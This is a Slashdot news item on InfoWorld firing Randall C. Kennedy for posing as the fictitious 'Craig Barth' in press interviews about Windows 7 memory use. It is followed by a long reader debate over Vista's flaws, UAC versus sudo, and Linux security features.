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Windows 7 Memory Usage Critic Outed As Fraud

A few days ago, we ran word of a report alleging that Windows 7 consumed more memory than it should, based on a report from Devil Mountain Software; a followup post linked to Ars Technica's robust deconstruction of that claim. Now the story gets weird: Fred Flowers writes The original story quoted the company's CTO, Craig Barth on the issue. Now, InfoWorld editor in chief Eric Knorr has still more to add. From Knorr's blog at InfoWorld.com: 'On Friday, Feb. 19, we discovered that one of our contributors, Randall C. Kennedy, had been misrepresenting himself to other media organizations as Craig Barth, CTO of Devil Mountain Software (aka exo.performance.network), in interviews for a number of stories regarding Windows and other Microsoft software topics. ... There is no Craig Barth.' Knorr's post goes on to say that Kennedy has been fired from his blogging gig at InfoWorld over this 'serious breach of trust,' and that his blog will be removed."

451 comments

  1. Eh wouldn't surprise me... by Rewind · · Score: 5, Insightful

    Even with all the real things you can slam Microsoft for, some people feel the need to make things up. Reminds me of that pre-Vista paper by that (I think) NZ guy that was full of stuff that even then people who had the RC knew to be false. Sensational things get page views I guess.

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    ?
    1. Re:Eh wouldn't surprise me... by zappepcs · · Score: 2, Interesting

      And the world goes on. Even if Win7 had huge memory problems, it wouldn't have stopped people from buying it. Though I wonder how close this comes to an actionable legal issue?

    2. Re:Eh wouldn't surprise me... by gad_zuki! · · Score: 3, Insightful

      >And the world goes on. Even if Win7 had huge memory problems, it wouldn't have stopped people from buying it.

      I doubt that. MS's Vista sales were hurt badly by its reputation. Most shops skipped over Vista completely. Apple got a little sales boost too.

      >Though I wonder how close this comes to an actionable legal issue?

      Christ, what ever happened to basic responsibility? Or buy beware? How about reading reviews before buying something or returning the product if you dont like it? Is lawsuit now the default action?

    3. Re:Eh wouldn't surprise me... by DJRumpy · · Score: 1

      You know, about the only item of interest I have in this whole debacle are the disk queues. I had more HD failures under Vista than I have ever had with any previous operating system. The drives ran constantly. I can only assume it was for pre-caching and possibly indexing. Although server storage would handle this without breaking a sweat, it appeared to be too much for the general desktop/laptop drives. Either the vendors I had trusted or years had pushed out some really shitty components, or the OS was at fault.

      Did anyone else experience a greater failure rate for HD's under Vista?

    4. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 0

      I'm pretty sure they meant legal action against the writer.

    5. Re:Eh wouldn't surprise me... by shentino · · Score: 2, Interesting

      Libel, most likely.

    6. Re:Eh wouldn't surprise me... by sopssa · · Score: 3, Interesting

      Vista was mostly looked badly because they introduced new security features. Features that linux zealots always yell about, like proper admin/multiple user control, securing files and directories and so on.

      The fact is, people had got used to everything being simple. When MS did add these new security features (as needed now a days), they got called about. I already see the replies mentioning how the UAC is bad and nuisance for user, so i preemptively answer here - It's a lot better than Linux's su and sudo alternatives. With su you give full control over the root account, with sudo you need to write it every time you require root account. UAC is actually a lot better than what there is available for linux, in desktop use (in command line/server use it pwns).

      Win7 is more popular now because people have got used to these features. Stupid sheep is, well, stupid and have to take generation to get used to it.

    7. Re:Eh wouldn't surprise me... by Beelzebud · · Score: 1

      With Vista I had this consistent problem where my SATA drives would just lose communication with the system, and it would blue screen. This would happen about once every month or two. Since moving to 7, I haven't had an issue with SATA at all. Overall I don't notice nearly as much disk thrashing in Win7 as there was in Vista.

    8. Re:Eh wouldn't surprise me... by xbeefsupreme · · Score: 1

      I think he meant the possibility of MS suing the guy who lied about memory issues.

    9. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 1, Funny

      Of the 17 HD's used between my family and I haven't seen a HD failure since 2005 and at least 7 of those are older than 2004... note that punching or kicking your computer anytime you're mad at it will increase HD failure rates. So maybe Vista does have something to do with your increased failure rates.

    10. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 0

      Until it's legal to beat the shit out of people like this, lawsuits are the next best thing we are legally allowed to do. Sorry it doesn't fit in with your childish fantasy world.

    11. Re:Eh wouldn't surprise me... by Ethanol-fueled · · Score: 0, Troll

      Vista was mostly looked badly because they introduced new security features.

      No, Vista mostly looked badly because it required obscene amounts of resources and still ran slow as shit.

    12. Re:Eh wouldn't surprise me... by SanityInAnarchy · · Score: 5, Insightful

      Vista was mostly looked badly because they introduced new security features.

      Nope, it was how they did it.

      Features that linux zealots always yell about, like proper admin/multiple user control, securing files and directories and so on.

      Yep, not only did they rip off sudo (which would've been fine), they managed to screw it up.

      It's a lot better than Linux's su and sudo alternatives.

      I'm sure you'll tell me how...

      With su you give full control over the root account,

      Yep, just like UAC.

      with sudo you need to write it every time you require root account.

      WTF do you mean by "write it"? Did you mean, edit the sudoers file? Yeah, you could do it that way, I suppose. Or did you mean, enter your password? Nope, sudo will cache it for a certain length of time.

      UAC is actually a lot better than what there is available for linux, in desktop use...

      Yet you haven't explained how it's different than the above.

      Win7 is more popular now because people have got used to these features.

      Nope, it's because Microsoft finally got it to work, and polished performance to where Win7 is faster than XP, whereas Vista was slower than XP.

      I never claimed, and I don't think anyone claimed, that all the design decisions in Vista were bad. No, the issue is that the Vista release, like most Microsoft products, was at best beta quality, more like alpha quality. So Vista was Microsoft's way of, yet again, using their consumers as beta-testers, while collecting some revenue to justify finishing the product and releasing it as Win7.

      --
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    13. Re:Eh wouldn't surprise me... by Totenglocke · · Score: 0, Troll

      It's a lot better than Linux's su and sudo alternatives. With su you give full control over the root account, with sudo you need to write it every time you require root account. UAC is actually a lot better than what there is available for linux, in desktop use

      Bullshit. Linux only makes you use sudo / su when you're doing something worthy of administrator privileges - such as installing updates to the system. UAC nags you just about every time you click the mouse - want to run a virus scan? You need to click a UAC box. Want to open Word? You need to click a UAC box. Putting in UAC for the important things would be fine, but what people are annoyed with is that it nags you with a UAC box about EVERYTHING. That's why the first thing I do on a clean install of Windows is turn UAC off. I've rarely been annoyed by sudo when using Linux (Linux on my laptop, Win 7 on the desktop), but I've always been annoyed by it in Windows.

      --
      "The tree of liberty must be refreshed from time to time with the blood of patriots and tyrants." ~Thomas Jefferson
    14. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 1, Informative

      This. Nevermind that Vista's added "security features" were poorly implemented and ultimately useless, there is absolutely no excuse for an OS to be that bloated.

    15. Re:Eh wouldn't surprise me... by Evil+Shabazz · · Score: 1

      Christ, what ever happened to basic responsibility? Or buy beware? How about reading reviews before buying something or returning the product if you dont like it? Is lawsuit now the default action?

      I took the parent to mean actionable by Microsoft. The guy was intentionally spreading negative press about their product, which would hurt the ability of the buyer to do the very thing you suggest - go out and read reviews about the product (Windows 7) before buying it.

      --
      Down with the career politician! SUPPORT TERM LIMITS
    16. Re:Eh wouldn't surprise me... by Runefox · · Score: 1

      Hey, thanks for that link, I'd just been thinking about that guy but I couldn't for the life of me remember his name. =D

      --
      Screw the rules, I have green hair!
    17. Re:Eh wouldn't surprise me... by sopssa · · Score: 0, Troll

      It absolutely does not nag you about everything - the only reason you might think this is because you have got used running everything in Windows without asking you permission for admin level tasks.

    18. Re:Eh wouldn't surprise me... by Gregg+Alan · · Score: 3, Insightful

      What in the world are you doing wrong that you get UAC prompts when opening Word? I'd like to see example steps on how to make that happen.

      --
      Here before all but 8486 of you.
    19. Re:Eh wouldn't surprise me... by WrongSizeGlass · · Score: 1

      Maybe he wasn't lying about the Windows 7 memory issues? Maybe Windows 7 uses all that memory when his Devil Mountain Sh!tware is installed?

    20. Re:Eh wouldn't surprise me... by timmarhy · · Score: 2, Insightful
      i call bullshit. you've never even used vista if your claiming it nags you to run word everytime.

      fact is linux fanbois have (rightly) bagged windows for a lack of user security for a long time, and when MS implemented it they bagged it like a bunch of fucking hypocrites.

      vista was no where near a flop and not at all a bad OS. i've had much much much worse experiences with linux distros.

      I think your just having to eat your words about win7, because it's a fucking good OS. it runs faster then vista or winxp, they've dropped the candy land fucked up theme and given it a slick interface.

      --
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    21. Re:Eh wouldn't surprise me... by asdf7890 · · Score: 5, Insightful

      Vista was mostly looked badly because they introduced new security features.

      This was one of the issues, yes, but not the only one and not even the most important one for many users. Vista's key problem was lack of drivers for a lot of hardware and some of the drivers available for common parts were not all that stable initially even though they passed relevant certififcation. Second came performance especially on "vista capable" (or "vista ready", which ever was the lower designation) machines (many reported significant issues on better kit too, though this situation improved greatly with service pack 1). UAC was thrid on the average user's list of hates though it sounded worse as it was usually the straw that started the major rant "it asked me for confirmation X times before very slowly failing to work because of driver problems!".

      UAC is not a bad idea, though it is not IMO particularly well implemented. They tried to so sudo but for the traditional Windows way of working (i.e. admin by default and adding blockers, where the sudo way starts unprivelaged). The result didn't fit as well as intended with Windows users processes and was sometimes overly naggy (three prompts for some file operations where sudo would need one escalation request) and just ended up being more OK buttons for clueless users to click, and to top it off it worked badly for people expecting a more linux/bsd/other way of doing thing - so essentually they failed to please either major group (i.e. neither those the feature was intended to protect nor those most likely to make a noise about such things were happy with it).

    22. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 0

      You may want to get some recent software. I haven't run a version of Word older than Word 2002 on Vista; perhaps older versions DO require admin - however no modern version does. I just started a virus scan on my machine and it did not require a UAC prompt. If yours really does, you may want to get a new version from your vendor. Do note that if the application is manifested as "highestAvailable" it will ask for admin from an admin level user, but will not ask for it from a standard user. Honestly, UAC prompts are few and far between for most people. In my daily use as a USER (not as a tech support person or developer), I see a UAC prompt from Vista about as often as I see a GUI Sudo prompt on Ubuntu. On Win 7, it is even less. Now, if you do tech support or are a developer you will see them more often since you are doing admin level things. For this, bring up an admin level command prompt and start the things that are going to generate a prompt from there so that you don't get that oh so annoying prompt.

    23. Re:Eh wouldn't surprise me... by RzUpAnmsCwrds · · Score: 5, Informative

      With su you give full control over the root account, with sudo you need to write it every time you require root account.

      I like UAC, and I'm kind of an MS fanboy, but that's just wrong. There are solutions like gksudo that work much like UAC, including a user-friendly GUI and caching of credentials. Not to mention PolicyKit and other capability-based security mechanisms. Every major distro (e.g. Ubuntu, Fedora, etc.) has these features by default.

    24. Re:Eh wouldn't surprise me... by sopssa · · Score: 1

      However, what you describe is mostly fault of existing software and drivers. MS had to either 1) bring in the new security features 2) maintain support for old programs. I say they chose the better option. They redefined their driver model in Vista and that's the reason why there wasn't so many drivers for older hardware available upon launch. But Vista was out for a few years and Win7 uses the same model, so companies had more time to do their drivers now.

      Disclaimer: I still use Vista on my desktop because moving everything to Win7 is a lot of work and it works a lot better than XP.

    25. Re:Eh wouldn't surprise me... by biryokumaru · · Score: 2, Insightful

      Ya, well, it was supposed to sound funnier...

      --
      When you're afraid to download music illegally in your own home, then the terrorists have won!
    26. Re:Eh wouldn't surprise me... by Totenglocke · · Score: 0, Troll

      Word is an exaggeration, but it nags CONSTANTLY. There's a reason everyone hates UAC, and it's not because of extra security - it's because it nags over all sorts of minor things. It's like Clippy only for all of Windows instead of just Office.

      I think your just having to eat your words about win7, because it's a fucking good OS. it runs faster then vista or winxp, they've dropped the candy land fucked up theme and given it a slick interface.

      Who the hell are you talking to? I love Windows 7 and I've said it since the beta came out. I just hate UAC.

      --
      "The tree of liberty must be refreshed from time to time with the blood of patriots and tyrants." ~Thomas Jefferson
    27. Re:Eh wouldn't surprise me... by Totenglocke · · Score: 0, Troll

      I do the same tasks in Windows as I do in Linux (well, I also game in Windows or else I'd only use Linux) - you get prompted far, far less in Linux.

      --
      "The tree of liberty must be refreshed from time to time with the blood of patriots and tyrants." ~Thomas Jefferson
    28. Re:Eh wouldn't surprise me... by harlows_monkeys · · Score: 2, Insightful

      Vista was mostly looked badly because they introduced new security features.

      I think a much bigger factor was that it was so long between XP and Vista, people had forgotten what XP was like at the start. When XP launched, it received many of the same complaints Vista received. It wasn't until a couple of service packs that people started to like XP. After a couple of service packs, Vista too was fine.

    29. Re:Eh wouldn't surprise me... by jpmorgan · · Score: 4, Interesting

      However it's interesting to note that Randall Kennedy was one of the standard bearers in the public campaign against Vista. If you go through the most egregious condemnations of Vista posted to /., you'll find that a disproportionate number were sourced to Randall Kennedy at Infoworld. Many of which were about as truthful as the Windows 7 memory article.

      Kennedy has been an extraordinarily biased source about Microsoft for a long time, and over the past few years I've lost a lot of karma pointing this out. For me this feels like vindication.

    30. Re:Eh wouldn't surprise me... by Antique+Geekmeister · · Score: 1

      No, Windows Vista failed because of massive bloatware, continuing failures to properly _use_ the new security features, the redesigned GUI's that Microsoft failed to document or use consistently, massive overuse of RAM for features no one except Microsoft wanted (such as the hideous search handling), and the plans to include WinFS, which distorted quite a few filesystem components but turned out to be an exceptionally bad idea and was thrown out. (XML-based filesystems: how foolish can you be?)

      Windows 7 is taking over Windows Vista, as it should. It's also finally cutting into Windows XP because XP has been lacking the few features that people actually wanted, such as completely discarding Internet Explorer 6, vendor support for 64-bit drivers, and better support for multiple cores.

    31. Re:Eh wouldn't surprise me... by zach_the_lizard · · Score: 1

      Yep, having a pop up that asks me if I would like to continue everytime I run an older game is really cutting edge security. It would make more sense if it had some actual power to deny access; you know, if it required a password, like sudo does. It does not, so it has no ability to protect. It has, however, scared my less tech savvy family members into not running some older programs that they used to run because of fear that they were somehow messing something up. Sudo also can be set to work for a certain amount of time without requiring a password, which can be very useful to avoid annoyance but still provide security. UAC cannot do that, to my knowledge. Until Windows 7, it was either off or on; now we have slightly more finegrained control.

      --
      SSC
    32. Re:Eh wouldn't surprise me... by compro01 · · Score: 1

      I've managed to get it by having office installed in a folder on the drive root rather than in program files.

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      upon the advice of my lawyer, i have no sig at this time
    33. Re:Eh wouldn't surprise me... by sopssa · · Score: 0

      if it required a password, like sudo does. It does not, so it has no ability to protect.

      This is because you are yourself running as admin account. If you set up normal user account, UAC will require you to type in admin password to continue.

    34. Re:Eh wouldn't surprise me... by jpmorgan · · Score: 1

      Yes, as we all know XP was 40% faster than Vista!

      Oh wait...

    35. Re:Eh wouldn't surprise me... by Pharmboy · · Score: 1

      Not really. Vista still sucks because of the way they implemented UAC, with way more prompts than were needed, something they fixed in 7. As for XP, most people liked it pretty well at the start because it was infinitely more stable than 95/98/ME, although the introduction of "Home" and "Professional" grades was an unnecessarily expensive way to distribute software (and still is). It was a bit more resource hungry than 2k, but ran 95/98 games just fine, the usual main complaint. The main bitch about Vista was software that simply would not run. We have software from 2004 that will not run right on Vista or 7 (runs at about 10% of regular speed...) and not looking to upgrade it because it "works" on XP, but not on vista/7/wine. I still can't get AOE3 to install at all on my Win7 box, and it is a Microsoft product that is supposed to work fine.

      --
      Tequila: It's not just for breakfast anymore!
    36. Re:Eh wouldn't surprise me... by Blakey+Rat · · Score: 1

      BTW, they're still digging the hole deeper if you check-back to their blog:

      http://exo-blog.blogspot.com/2010/02/editorial-what-took-you-so-long.html

      In the latest installment, they're quoting somebody known only as "SirBruce" who backs up their story. Of course, they don't link to SirBruce's actual article, they only quote from it a bit... I'm sure whoever he is, he's not just some 12-year-old in his parents' attic.

      He's also actively debating all-comers, it looks like. He plays off the Ars debunker's computer as being "misconfigured" somehow.

      Nobody has yet brought up in that blog post that he's a liar as well as being completely technically inept, so please be my guest if you like.

    37. Re:Eh wouldn't surprise me... by tgd · · Score: 5, Insightful

      sudo and the UAC are vastly different beasts.

      You may want to read up on winlogon, credential providers and user tokens, particularly relative to the UAC.

      The Vista and Windows 7 security model is vastly more sophisticated than out-of-the-box Linux implementations, and the UAC is related to that. Unlike su/sudo, the user does *not* transition to the administrative user, they switch between their administrative token, and the default neutered token, but in both cases other security policies can still be applied, but most importantly (especially where network security is concerned) *they still are themselves*. The network provider may or may not allow transparent use of the token across the network using the administrative token, depending on policies, but it *can*.

      The knee-jerk anti-Microsoft crowd on here tends to discount the sophistication of the Windows security model, but the reality is that its two decades more modern and more capable, particularly in networked environments, than the typical Linux system.

      That crowd could learn something by learning, in more detail, about the things they (incorrectly) discredit.

    38. Re:Eh wouldn't surprise me... by techno-vampire · · Score: 1
      With su you give full control over the root account,

      You miss the point: with su you become root, although, of course, to get the full root environment takes su -. And, more important, to do so you need to know the root password, which means that you could simply log in as root if su weren't available. I won't comment about sudo because I don't use a distro that requires it.

      --
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    39. Re:Eh wouldn't surprise me... by maxume · · Score: 1

      The whole point of Home and Professional is that they can get away with it.

      --
      Nerd rage is the funniest rage.
    40. Re:Eh wouldn't surprise me... by Blakey+Rat · · Score: 4, Insightful

      Yep, not only did they rip off sudo (which would've been fine), they managed to screw it up.

      First of all, Windows has had "sudo"-equivalent features for a long time-- since Windows 2000, I believe.

      Secondly, how did they screw it up? It works fine for me.

      No, the issue is that the Vista release, like most Microsoft products, was at best beta quality, more like alpha quality.

      The problem was that the OS was release-quality, but the drivers from various third-parties was beta-quality for a good year after the OS was released. (And this despite over a year of technical preview releases... fucking lazy driver writers!)

      Did Vista have bugs? Yah, it had a bug that slowed down file copies. But they were all fixed, and if you used Vista about a year after it came out it would be fine.

      (With one disclaimer: Vista was never designed to run on Netbooks, which was a market Microsoft didn't anticipate while they were developing it.)

    41. Re:Eh wouldn't surprise me... by Kral_Blbec · · Score: 1

      So change the file permissions on the folder to allow non admin read/write. Tell it not to inherit from the parent, set to allow all users, and then replace child permissions.

    42. Re:Eh wouldn't surprise me... by tgd · · Score: 5, Interesting

      The UAC, in Vista, nagged constantly early on because of poorly written software. The UAC prompting means a program at launch either via code or manifest, or certain other compatibility-conditions (like being an installer) needs access to the user's administrative token, rather than the default neutered token. Typically that means its doing something it shouldn't have been doing, such as writing files into the installation directory rather than the user's profile (and thus needing administrative rights) or, for example, writing runtime settings into the local machine's registry rather than the user's registry.

      The UAC prompts became far less common as time went on because publishers fixed their software that was doing things that even in XP they shouldn't have been doing (and getting more secure in the process).

      They're reduced in Windows 7 primarily because a request for privilege escalation that is a direct result of a user action (based on a bunch of criteria, including a valid digital signature on the application, and I believe on the MSI that installed it) gets escalated automatically.

      You *really* should almost never see a UAC prompt. Now, if you're a developer and are doing things that need to be escalated all the time, then no shit you're going to see it a lot. But a normal end user should virtually never see one on up-to-date versions of software on Vista or Windows 7. If you are, you should contact whoever publishes the software in question and tell them to fix it.

    43. Re:Eh wouldn't surprise me... by zero.kalvin · · Score: 1

      Nope,not even any kind of problems. I have this system for half a year now. Never experienced any sort of problems except those which I was the cause(doing stupid stuff). My experience with Vista is good so far. However i still prefer my fedora for it. Anyway this may be because my system is still new and fully patched. But There is a lot of people out there running Vista on different hardware, a global view is needed to make any kind of conclusions.

    44. Re:Eh wouldn't surprise me... by jmac_the_man · · Score: 1

      Neither of your two examples require admin privileges (and thus don't trigger UAC.)

    45. Re:Eh wouldn't surprise me... by jedidiah · · Score: 1

      > Vista was mostly looked badly because they introduced new security features. Features
      > that linux zealots always yell about, like proper admin/multiple user control, securing
      > files and directories and so on. ...and then BOTCHED them so badly that software vendors recommend that you turn them off.

      That's assuming that end users weren't so annoyed by them in the first place that they
      didn't already turn them off.

      --
      A Pirate and a Puritan look the same on a balance sheet.
    46. Re:Eh wouldn't surprise me... by mobby_6kl · · Score: 3, Insightful

      If Microsoft decided to sue people for spreading false information about their products, slashdot would be really in trouble!

    47. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 0

      coughSELINUXcough

    48. Re:Eh wouldn't surprise me... by jedidiah · · Score: 1, Troll

      Yes. Unfortunately that "sophistication" ends up creating something that is
      unecessarily complex and ends up annoying the end users so badly that they
      feel the need to turn security features off. If they don't, some application
      vendor will tell them to turn the crap off.

      "That crowd" is still picking up after Microsoft's engineering debacles.

      --
      A Pirate and a Puritan look the same on a balance sheet.
    49. Re:Eh wouldn't surprise me... by jon3k · · Score: 5, Insightful

      "The Vista and Windows 7 security model is vastly more sophisticated than out-of-the-box Linux implementation"

      SELinux is enabled by default on Fedora. I wouldn't call UAC "vastly more sophisticated".

    50. Re:Eh wouldn't surprise me... by Totenglocke · · Score: 0

      All of my family members and friends have fully updated version of Vista or 7 (multiple IT people around to update everyone) and yet those who haven't turned off UAC get the prompts several times a day - and I'm talking just for basic things like web browsing with IE (yes, I try to get them off it but they just say "why? it works") and using Office.

      They're reduced in Windows 7 primarily because a request for privilege escalation that is a direct result of a user action (based on a bunch of criteria, including a valid digital signature on the application, and I believe on the MSI that installed it) gets escalated automatically.

      While that may be true (I don't know enough about how UAC works to say it is or isn't), what I know is true is that Vista only had two settings for UAC (annoy the hell out of you, and off) where 7 has five settings - and it defaults to a lower setting than Vista.

      --
      "The tree of liberty must be refreshed from time to time with the blood of patriots and tyrants." ~Thomas Jefferson
    51. Re:Eh wouldn't surprise me... by mp3LM · · Score: 1

      I don't want to be the bearer of bad news...but Windows 7 has UAC as well. Sorry :(

    52. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 0

      I avoided Vista entirely, I have since upgraded from XP to Win7 and my biggest gripe is the lack of 64bit software (not their fault) and the stupid redesign of the control panels and the lack of ability to disable network adapters w/ one click on the taskbar. Oh yeah, the show desktop toggle is now on the far end of the taskbar and the quicklaunch bar just doesn't exist. (Unless you count pinning icons to the taskbar which also sucks cause it takes up so much space.

    53. Re:Eh wouldn't surprise me... by Beelzebud · · Score: 1

      The only time I've had 7's UAC "nag" me was when installing new software. Seems to be working just fine, because it's already stopped a few stupid malware apps from being installed on the system when the kids are on it.

    54. Re:Eh wouldn't surprise me... by jon3k · · Score: 4, Insightful

      From a technical perspective I think UAC was a huge step in the right direction. From a usability standpoint I think they really shot themselves in the foot. You're assuming the exact same people are saying both of these things, when that's obviously not the case. You create this abstract group of people ("linux fanbois") and then attribute every argument against Microsoft to them as if everyone is saying the exact same thing. They're not. It's a sweeping generalization.

    55. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 0

      Even with all the real things you can slam Microsoft for, some people feel the need to make things up. Reminds me of that pre-Vista paper by that (I think) NZ guy that was full of stuff that even then people who had the RC knew to be false. Sensational things get page views I guess.

      You are full of shit LONGHORN/ BLACKCOMB bird.sys killed everything. What makes you think anything is better with Windows 7? There are memory leaks, so get off my train!

    56. Re:Eh wouldn't surprise me... by jon3k · · Score: 1

      That's ridiculous. Everyone knows that we linux nerds live in basements! This is outrageous!

    57. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 0

      Word is an exaggeration,

      An interesting way of spelling "lie". Does the bumper sticker on your car say "Bush Exaggerated!"?

      I wonder how much else of what you say is also "exaggeration".

    58. Re:Eh wouldn't surprise me... by Rewind · · Score: 1

      What problems do you have with AoE 3? I can run it and the expansion on 7 without issue. Ran fine on Vista too. I think it whines if you try to install it on 2k, but even then it will still work if I remember correctly.

      --
      ?
    59. Re:Eh wouldn't surprise me... by MichaelSmith · · Score: 1

      So its more like setpriv in VMS. From memory:
      set proc/priv=all
      ...does the trick.

    60. Re:Eh wouldn't surprise me... by dnaumov · · Score: 1

      Nope, it's because Microsoft finally got it to work, and polished performance to where Win7 is faster than XP, whereas Vista was slower than XP.

      You seem to have really wrong expectations of OS development. If you take any major Linux vendor, for example RedHat or SUSE. Take 3 versions, one released at time of XP, one at time of Vista and one at time of Windows 7. Now try telling me with a straight face that assuming same old hardware, each version has gotten progressively faster.

    61. Re:Eh wouldn't surprise me... by kangsterizer · · Score: 1

      Or, vista was simply a lot slower than XP, buggy, needed new drivers, and *only* on top of that the security features were not really thought out all that well for the end users. (hello big black screen every 30s asking for security clearance)

      Mind you, they had years to transform vista into windows 7 and they did fix a zillion bugs and "slightly" modified the security annoyances.

      Oh, shall I add that "Linux" (in fact, you mean most Linux based distros) "security features" aren't limited to "su and sudo", very far from that. And not only this, but Windows is far from limited to UAC, and actually had also many good security features in past versions (just not that good as in incomplete, but many lives on with Windows 7 and server equivalents)

      Finally, when you click "ok" to admin rights on Windows 7 - guess what - you give the app full admin rights. It's actually quite similar to sudo in many (*not all*) ways. But then again, as I pointed out, both systems are not limited by these 2.. by quite far. From a user point of view, the difference is that in Windows the application is allowed to embed the request via an xml manifest so you don't need to do "run as"

      I suggest a read on Linux DAC, capabilities bits, LSM, security models (Flask/SeLinux, RC/RSBAC, etc..), ASLR, PaX for starters. (and Window's ASLR, ACL's etc..)

    62. Re:Eh wouldn't surprise me... by Totenglocke · · Score: 1

      Hence why (if you bothered to read my post) I said I turn off UAC right after I install Windows 7.

      --
      "The tree of liberty must be refreshed from time to time with the blood of patriots and tyrants." ~Thomas Jefferson
    63. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 1, Informative

      UAC is vastly different technically, but indeed on a stock windows 7 install it is very similar to what sudo will provide in practise

    64. Re:Eh wouldn't surprise me... by T-Bone-T · · Score: 1, Insightful

      If you know people that are getting UAC prompts all the time, you need to get with them and figure out exactly why. That shouldn't happen.

    65. Re:Eh wouldn't surprise me... by hey! · · Score: 1

      I never minded UAC much. Many of the problems were the kind of thing you'd expect when programs weren't updated to be aware of tighter security. Some of the inconsistency in the anti spyware measures bothered me, because MS gave a pass to its own products whereas you had inexplicable behavior from third party software trying the same thing. Yes, protecting the /program files directory was a sensible thing (at last) but the policy should be uniform for all vendors.

      The thing that really soured me on Vista, ironically, was its crappy memory management. I had to repartition my hard drive to put te pagefile on a separate partition (like it is in Linux), because many of the aggressive optimizations in Vista involved memory pages that couldn't just be marked available. Doing this or turning of disk paging entirely resulted in (barely) usable performance when I allocated large blocks (1GB) of RAM. I'll never forget running defrag and seeing something like a hundred thousand fragments in pagefile.sys. Apparently when Vista realized how deep in the hole it was, it started stuffing RAM pages whereever the disk head happened to be. That's the only possible explanation.

      Aside from memory management, Vista wasn't too bad if you had plenty of horsepower to run it on. But memory management is a pretty big fault for an OS to have. I'm looking forward to trying Windows 7, but right now I'm happy running XFCE on Ubuntu. I don't ask for a lot of whizbang eye candy from an OS. Just consist responsiveness.

      --
      Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
    66. Re:Eh wouldn't surprise me... by Low+Ranked+Craig · · Score: 1, Informative

      I looked on Vista badly because it is a steaming pile of shit. It brought a brand new high speced machine to it's knees for no apparent gains (Dell Optiplex Core 2 Duo, 4 GB RAM, dual 250 7200 SATA drives, ATI video with 256MB). I still have issues with my wife's Dell laptop not being able to maintain a wireless connection (yes, all patched have been applied, thank you very much), and a friend that won't talk to me anymore because I helped her buy a Dell with Vista, which turned it into a boat anchor.

      Microsoft released Vista before it was baked, and to compound matters they weren't really forthcoming about the real hardware requirements.

      I was a happy XP user and I'm a happy 7 user, so I'm not bashing on MS.

      Oh, and sudo bash always worked for me, and I think you're confusing the issue. The issue is NOT that people who know what they are doing were causing problems. When I need to do a bunch of admin tasks on one of my Linux boxes I see nothing wrong with the appropriate use of the root login, it just shouldn't be used on a daily basis for using the machine. IMO Apple's implementation is better than the windows implementation in that regard; they prompt for the password when needed and don't inundate the user with messages. Overloading the user with messages is bad UI and bad contextual design, and will get the user to simply click OK or do whatever they have to to proceed. Win 7 is not more popular because people got used to the features it is more popular because it is a good OS (Vista isn't) that performs well (Vista doesn't) and the UAC implementation in 7 is not as invasive as it is in Vista.

      --
      I still cannot find the droids I am looking for...
    67. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 0

      the reality is that in a stock windows setup, if you allow elevating to admin by a rogue app you're screwed.

      now for Linux there are many different distros, in most allowing sudo to a rogue app will screw you as well, but let's say you use redhat's distro, which is like, the entreprise reference, this won't work.

    68. Re:Eh wouldn't surprise me... by Anpheus · · Score: 4, Informative

      First, let me say that SELinux is an enormously complex system that has the potential to provide huge security benefits for administrators, and that it is the bar by which other OS security infrastructure should be measured against.

      With that out of the way, you're comparing apples to orange-seeds here. UAC is merely a component of the overall security model, and should most directly be compared to gksudo, sudo and su and other methods of user-initiated rights elevation. Additionally, the Windows security model does support some really fine-grained stuff now with mandatory access controls, support for signing trusted executables and all sorts of other complexity that the IT administrator can get into if they want. It's not as easy as SELinux yet, I don't think, but it's not far away either. It's not vetted by the NSA either, so I suppose that'd be a minus.

    69. Re:Eh wouldn't surprise me... by peragrin · · Score: 0, Troll

      funny that is exactly what happened between OS X releases 10.2, 10.3 10.4, and 10.5 though the amount of speed increase was slightly less.

      on linux it varies between distro's, and gui uses.

      --
      i thought once I was found, but it was only a dream.
    70. Re:Eh wouldn't surprise me... by Gadget_Guy · · Score: 2, Insightful

      those who haven't turned off UAC get the prompts several times a day - and I'm talking just for basic things like web browsing with IE.

      I have my UAC settings at maximum under Windows 7 and I don't see any UAC prompts for IE. I have also disabled downloading of ActiveX controls (signed and unsigned), so maybe that is the difference. The UACs might be when websites are trying to install controls.

      The only time that I get UAC prompts are when I am installing software, changing settings (like allowing a program through my firewall), and running some games (mostly older ones - and even then you can often say "No" and they will still run).

      The part that really annoys me is when I clean up my start menu. The multiple prompts for each file is a real pain. Oh, and the command line program "RunAs" no longer works properly. You run something as administrator but still get the "this program requires elevation" message - with no UAC to allow it to work. Running an entire cmd.exe window as administrator solves this.

    71. Re:Eh wouldn't surprise me... by commodore64_love · · Score: 0, Troll

      For me the problem didn't have anything to do with drivers. They all worked fine.

      For me the problem was that Microsoft lied to the hardware makers, told them 512 MB wouldn't run Aero but would still be sufficient to run Vista, and my brother ended-up with a 512 MB machine that ran slower than his old XP machine on only 128 megabytes, and suffered severe hard drive thrashing.

      Depending on your viewpoint, the software was either vastly bloated because it needed 1024 to run properly (in contrast the Mac OS released that same year ran great on only 256 MB) - or else the software was fine but MS was guilty of lying about the hardware specs.

      And yes the UAC was annoying:
      "Do I have permission to install Opera Browser?"
      "Yes." "Sorry you lack sufficient privileges. Installation failed at 90%."
      Grrr.

      --
      "I disapprove of what you say, but I will defend to the death your right to say it." - historian Evelyn Beatrice Hall
    72. Re:Eh wouldn't surprise me... by BrokenHalo · · Score: 0, Offtopic

      This. Nevermind that Vista's added "security features" were poorly implemented...

      What is it with all these posts prefaced with "This."? Is it some stupid internet meme? Either way, it is completely redundant and pointless. Stop it and write English like a human being.

    73. Re:Eh wouldn't surprise me... by Thundersnatch · · Score: 2, Funny

      I never claimed, and I don't think anyone claimed, that all the design decisions in Vista were bad. No, the issue is that the Vista release, like most Microsoft products, was at best beta quality, more like alpha quality.

